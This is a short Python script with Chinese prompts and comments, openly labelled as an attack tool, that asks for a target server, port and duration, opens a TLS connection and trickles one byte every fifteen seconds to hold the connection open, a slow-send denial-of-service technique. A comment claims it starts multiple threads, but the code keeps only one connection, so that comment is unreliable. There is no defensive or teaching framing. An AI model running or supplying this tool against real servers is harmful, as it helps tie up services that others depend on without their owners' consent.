import socket
import ssl
import time

def slow_send(ssl_sock, duration):
    end_time = time.time() + duration
    while time.time() < end_time:
        try:
            ssl_sock.sendall(b'X' * 1)
            time.sleep(15)  # 每15秒发送一个字节
        except Exception as e:
            print(f'发送数据时出错: {e}')
            break

while True:
    target_host = input("请输入目标服务器地址: ")
    target_port = int(input("请输入目标端口（通常是443）: "))
    duration = int(input("请输入攻击持续时间（秒）: "))

    context = ssl.create_default_context()
    context.set_ciphers('HIGH:!DH:!aNULL:!MD5')  # 更高级的加密

    end_time = time.time() + duration

    try:
        sock = socket.create_connection((target_host, target_port))
        ssl_sock = context.wrap_socket(sock, server_hostname=target_host)

        print(f'已连接建立: {ssl_sock.version()}')

        # 启动多个慢速发送线程
        slow_send(ssl_sock, duration)

    except Exception as e:
        print(f'连接或发送数据时出错: {e}')
    finally:
        ssl_sock.close()
        sock.close()

    # 询问用户是否要继续
    continue_attack = input("是否要继续进行攻击？(y/n): ").lower()
    if continue_attack != 'y':
        break